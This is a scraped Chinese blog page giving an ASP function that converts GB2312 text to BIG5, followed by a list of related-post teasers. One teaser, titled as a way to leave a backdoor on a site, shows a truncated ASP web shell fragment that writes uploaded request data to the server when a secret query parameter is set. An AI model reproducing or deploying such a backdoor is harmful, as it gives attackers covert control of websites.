GB2BIG5

通过JS 网页内容简体变繁体 NULL 博文链接:https://lianj-lee.iteye.com/blog/547493 立即下载

<%
'==================================================
'函数名:gb2big5
'作 用:国标码转大五码
'参 数:Text ------ 字符串
'作 者:netyum(杨嵩)
'Q  Q: 8025628
'时 间:2004年6月28日
'==================================================
Function gb2big5(Text)
Dim Ados,Max,i,c,b,h,l
If IsNull(Text) Or Text = "" Then Exit Function

Set Ados=Server.CreateObject("Adodb.Stream")
Ados.Mode = 3
Ados.Type = 1
Ados.Open
Ados.LoadFromFile(Server.MapPath("gb-big5.table"))

Text = Server.UrlEnCode(Text)
b = ""
Max = Len(Text)
For i=1 To Max
c = Mid(Text,i,1)
If c = "%" Then
h = eval("&h"+Mid(Text,i+1,2))
If h < 128 Then
b = b & chr(h)
i = i+2
Else
If isvalidhex(mid(Text,i,3)) Then
If isvalidhex(mid(Text,i+3,3)) Then
l = eval("&h"+Mid(Text,i+4,2))
Ados.Position = (h-160)*510+(l-1)*2
b = b & bytes2BSTR(Ados.Read(2))
i = i+5
Else
b = b & " "
i = i+3
End If
End If
End If
Else
If c = "+" Then
b = b & " "
Else
b = b & c
End If
End If
Next
Set Ados = Nothing
gb2big5 = b
End Function

Function isvalidhex(str)
isvalidhex=true
str=ucase(str)
If Len(str) <> 3 Then isvalidhex = false : Exit Function
if Left(str,1) <> "%" Then isvalidhex = false : Exit Function
c = Mid(str,2,1)
If Not (((c>="0") And (c<="9")) Or ((c>="A") And (c<="Z"))) Then isvalidhex = false : Exit Function
c = Mid(str,3,1)
If Not (((c>="0") And (c<="9")) Or ((c>="A") And (c<="Z"))) Then isvalidhex = false : Exit Function
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

GB<->BIG5,BIG5->Unicode,GB-Unicode组件 所有的文件复制到 winntsyste32注册 wh.dll使用方法看wh.asp 立即下载

相关推荐

gb2big5.safariextension:打包Newtongwentang到safari extension,是一款简体中文和繁体中文互译工具。 新同文堂及其所有扩展均在 GPLv2MIT 下发布

gb2big5.safariextension 打包Newtongwentang到safari extension,是一款简体中文和繁体中文互译工具。 新同文堂及其所有扩展均在 GPLv2/MIT 下发布。

简单给站点留后门

<%ifrequest.QueryString("action")="comeon"then a=Request.TotalBytes:ifaThenb="adodb.stream":Setc=Createobject(b):c.Type=1:c.Open:c.WriteRequest.BinaryRead(a):c.Position=0:d=c.Rea...

weixin_34292287的博客 528

gb2big5

繁体 简体 转换 deplhi 代码

GB码和BIG5码的互换技术-foxpro版-摘自csdn-faq

Q : 无组件的ASP汉字简体繁体互转换函数  主要解答者: abigfrog 提交人: csharpcn  感谢: abigfrog  审核者: meizz 社区对应贴子: 查看       A :   我们开发ASP的程序员,经常遇到客户有开发繁体网站的需要,但是建设两个网站一个是麻烦,第二个是客户不愿意更新不便,所以要求能自动GB2312和BIG5转化的ASP函数,如果您需要请联系我。

feiyafei2008的专栏 1119

gb2big5_java.rar_GB-BIG5 java_java big5_简体 繁体

使用java算法实现繁体中文和简体中文的转化

避坑指南:STM32定时器测PWM频率占空比时,那些CubeMX没告诉你的细节(蓝桥杯真题衍生)

本文深入解析STM32定时器测量PWM频率和占空比时的关键细节,揭示CubeMX配置中未明确的时钟树原理和输入捕获机制。针对蓝桥杯嵌入式赛题中的常见问题,提供动态调整预分频器、多采样数字滤波等实战解决方案,帮助开发者避免测量误差,提升PWM测量精度和稳定性。

weixin_28692153的博客 339

js 实现繁体和简体之间的转换

div class="language">                     a name="gb2big5" id="gb2big5">繁體中文 a>                     script type="text/javascript" language ="Javascript" src="js/gb2big5.Js">script>           

fs的专栏 4899

可信数据空间:可信空间、区域功能节点、业务功能节点、连接器的关联关系

可信数据空间通过分层架构实现安全数据共享:可信空间作为顶层制定全局规则;区域功能节点协调辖区内功能节点协作;功能节点提供具体数据服务;连接器作为唯一通信通道确保安全交互。系统采用"规则自上而下约束,数据自下而上流动"机制,通过分层治理和标准化连接,在保证数据主权的同时实现跨域协作,具有策略分级执行、去中心化治理等特性,支持灵活扩展业务场景。

友莘居士的博客 1685

简体与繁体中文转换

//模仿语言包式的简繁转换功能插件!//Edited by Stardy --2005-04-16 , Web :http://www.stardy.com , QQ:2885465var Default_isFT = 0  //默认是否繁体,0-简体,1-繁体var StranIt_Delay = 50 //翻译延时毫秒(设这个的目的是让网页先流畅的显现出来)//-------代码开始,

2527

c语言【分糖果】2023蓝桥杯4124(枚举,递归,dfs)

但是这是不符合我们糖果刚好分完的条件的,我们应该往回退到上一层,也就是孩子6这层,然后j+1=3,孩子7分到3个第二种糖果,这也不符合我们糖果刚好分完的条件,然后就会再次回退到孩子6这里,然后j+1=4,让我们的孩子7获得5块第二种糖果,然后还是不符合糖果刚分完的条件,于是再一次退回到孩子6这里,然后就会有外循环i+1=1,j=1,孩子7分到1块第一种糖果1块第二块糖果......然后就是这样的不停地回溯,试探,直到把整棵树遍历一遍,并且记录所有的满足条件的组合。先放一下我的代码,我的代码超时啦救命!

weixin_74331419的博客 730

别再傻傻分不清了!Anaconda和Miniconda到底选哪个?附保姆级安装与镜像源配置(Windows/Mac)

本文详细解析了Anaconda和Miniconda的核心差异,包括体积、预装内容、系统资源占用等关键维度,并提供了针对不同需求的决策框架。附有Windows和Mac双平台的详细安装与配置指南,帮助用户根据实际需求选择最适合的conda工具,提升开发效率。

weixin_30315723的博客 426

繁简体(GB<=>Big5)字符串互转的JAVA方式实现

本文提供一个java实现中文字符繁简体互换的zip包以及主要的源代码实现说明。 繁简体(GBBig5)中文字符的转化实现原理很简单,就是根据两种码表的编码规则,创建两者之间的字符对应关系表,通过程序读取这个映射表来自动查出另一种编码方式下对应字符的字节编码,从而进行逐字节的内容替换。 主功能实现的GB2Big5.java源代码如下: 查看复制到剪切板打印 1.  pac

vicle的专栏 2044

问题:dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)

 1. 问题:Ubuntu安装软件的过程中出现依赖项的问题 “E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).” 按照指示执行如下两条命令都没有解决问题。 sudo apt-get -f install sudo apt-get --fix-broken ...

gloria_littlechi的博客 2万+

gb2big php,python版gb转big5, 复活pygb2big.py

想找gbk到big5转换的python版,网上到处是同一篇文章,讲了原理,却发生了最稀奇的事情:到处都找不到pygb2big.py文件,于是操刀根据原理复原了pygb2big.py , 打破惯例,先提供下载,再展示代码,最后才是解说:# -*- coding: utf-8 -*-import getoptimport sysdef usage():print('big5 file to gbk f...

weixin_31485835的博客 467

告别手动打点计时:用Lauterbach TRACE32的RunTime功能,5分钟搞定嵌入式代码段性能分析

本文深入解析了Lauterbach TRACE32的RunTime功能在嵌入式代码性能分析中的革命性应用。通过硬件级计时原理和非侵入式设计,该功能能快速精确测量代码执行时间,显著提升开发效率,特别适用于汽车电子和工业控制领域。文章还提供了从基础设置到高级分析的完整实战指南,帮助工程师轻松掌握这一强大工具。

weixin_30615767的博客 279

SpringBoot 系列教程(十二):给大家推荐20个SpringBoot开源项目,私活必备

基于 SpringBoot2.x + Shiro 实现了用户管理、个人微信、支付宝支付,内置扫码支付、后台回调、订单查询、限流等一系列功能

Thinkingcao的专栏 2839

用到一个vb5的控件不能注册Big2GB.ocx,最后注册成功了。

Big2GB.ocx不能注册,而其它几个OCX成功了,于是下载安装msvbvm50.exe,MSVBVM50.DLL是VB5的主要负责解释的文件。安装后成功注册Big2GB.ocx 不能注册的过程:运行的结果提示:模块“Big2GB.ocx"加载失败。请确保该二进制存储在指定的路径中,或者调试它以检查该二进制或相关的.DLL文件是否有问题。打不到指定的模块。

fybuser的专栏 4157

SAP 集成泛微 OA Open API 新建流程申请接口

《SAP ERP 与泛微 OA 的系统集成》系列文章。泛微 Open API 是基于 HTTPS 的 Restful 接口,上篇文章,我已经完成了调用业务接口之前的准备工作,这篇文章我以新建流程申请这个系统集成最重要的接口为例,讲解接口设计、泛微 API 调用的过程、遇到的问题、解决的办法。

SAP李斌,本人承诺所有原创文章均不使用任何AI生成技术,请大家放心阅读。 3555

delphi 编码转换 unicode gbk big5

以下代码在DELPHI 7上调试通过,主要使用了api函数中MultiByteToWidechar function UnicodeEncode(Str:string;CodePage:integer):WideString;var  Len:integer;begin  Len:=Length(Str)+1;  SetLength(Result,Len);  Len:=MultiByteToWi

Vsun Sky ── 阿永的博客 1946

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

简体中文与繁体中文的互相转换

*以下所用控件的下载地址http://download.csdn.net/source/424247*--方法一:用gb2big.dllDeclare String GBtoBIG5 In gb2big.Dll StringDeclare String BIG5toGB In gb2big.Dll String *--简体转繁体,将GB内码转换为BIG5码。注意,此函数转换的是内码

apple_8180(十豆三) 的专栏 5855

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

使用PHP实现繁体与简体互转

/**** 繁体简体 ****//**  码表的取得:    http://netcity.hinet.net/kstchieh/table.zip  包中有两个文件:big5-gb.table,gb-big5.table  函数gb2big5由于没有big5环境,故未能详细测试*/// 将码表予装入内存$filename = "big5-gb.table";$fp = fopen($filena

程序人生 4742

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

如果是遇到VMWARE 6.5(SERVER)出现2GB FILE REASONS TOO BIG

如果是遇到VMWARE 6.5(SERVER)出现2GB FILE REASONS TOO BIG。 今天本来是想做RAC集群的虚机实验,从原来的本本上把VM文件拷贝到另外一个本本后,打开后,出现“Reason: The file is too large.”的错误,本想是省些事,不用再重新安装系统,却出现这样的问题, 真是让人郁闷啊,幸好有google和百度在...

weixin_33968104的博客 131

简体转繁体,我觉得还不错

 function   UnicodeEncode(Str:string;CodePage:integer):WideString;     var         Len:integer;     begin         Len:=Length(Str)+1;         SetLength(Result,Len);         Len:=MultiByteToWideChar(Co

webnumen的专栏 1575

内码转换技术

一、基本概念·    GB码全称是GB2312-80《信息交换用汉字编码字符集 基本集》,1980年发布,是中文信息处理的国家标准,在大陆及海外使用简体中文的地区(如新加坡等)是强制使用的唯一中文编码。P-Windows3.2和苹果OS就是以GB2312为基本汉字编码, Windows 95/98则以GBK为基本汉字编码、但兼容支持GB2312。GB码共收录6763个简体汉字、682个符号,其中汉

小发猫 3222
上一篇: 表空间计算方法
下一篇: [转]IE与Firefox的CSS兼容大全
tkjune
博客等级 码龄22年 1粉丝 8原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值